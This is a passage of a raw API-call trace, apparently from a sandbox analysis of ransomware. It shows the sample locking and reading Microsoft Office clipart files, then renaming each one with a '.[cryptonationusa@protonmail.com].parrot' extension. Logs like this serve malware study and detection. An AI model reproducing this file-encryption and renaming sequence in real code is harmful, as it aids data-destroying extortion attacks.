HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0141.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0141.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0141.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0141.466] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.466] CloseHandle (hObject=0x288) returned 1 [0141.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.472] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x157c, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.472] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.473] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1464, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1464, lpOverlapped=0x0) returned 1 [0141.474] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.475] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x157c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.475] CloseHandle (hObject=0x288) returned 1 [0141.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.479] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x853c, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.479] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.479] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.481] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8424, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8424, lpOverlapped=0x0) returned 1 [0141.483] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.483] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x853c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.484] CloseHandle (hObject=0x288) returned 1 [0141.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0141.488] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x142c, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.488] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.488] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.490] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.490] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1314, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1314, lpOverlapped=0x0) returned 1 [0141.491] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.491] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x142c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.491] CloseHandle (hObject=0x288) returned 1 [0141.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.497] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1530, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.497] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.497] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.498] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1418, lpOverlapped=0x0) returned 1 [0141.499] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.499] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1530, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.500] CloseHandle (hObject=0x288) returned 1 [0141.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.503] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ab0, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.503] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.556] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1998, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1998, lpOverlapped=0x0) returned 1 [0141.557] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.557] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ab0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.557] CloseHandle (hObject=0x288) returned 1 [0141.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.562] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d58, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.562] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.563] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.563] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c40, lpOverlapped=0x0) returned 1 [0141.564] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.564] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.564] CloseHandle (hObject=0x288) returned 1 [0141.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.570] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.570] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.572] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bc8, lpOverlapped=0x0) returned 1 [0141.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.573] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.573] CloseHandle (hObject=0x288) returned 1 [0141.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.577] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1460, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.577] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.578] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.586] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1348, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1348, lpOverlapped=0x0) returned 1 [0141.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.587] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1460, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.587] CloseHandle (hObject=0x288) returned 1 [0141.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.590] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1838, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.591] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.592] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1720, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1720, lpOverlapped=0x0) returned 1 [0141.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.593] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1838, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.593] CloseHandle (hObject=0x288) returned 1 [0141.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.596] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1664, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.596] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.597] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.598] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.598] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x154c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x154c, lpOverlapped=0x0) returned 1 [0141.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.600] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1664, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.600] CloseHandle (hObject=0x288) returned 1 [0141.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.603] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1500, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.603] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.603] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.605] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.605] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13e8, lpOverlapped=0x0) returned 1 [0141.606] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.606] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1500, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.606] CloseHandle (hObject=0x288) returned 1 [0141.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.609] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.609] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.609] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.611] SetFilePointerEx (in: 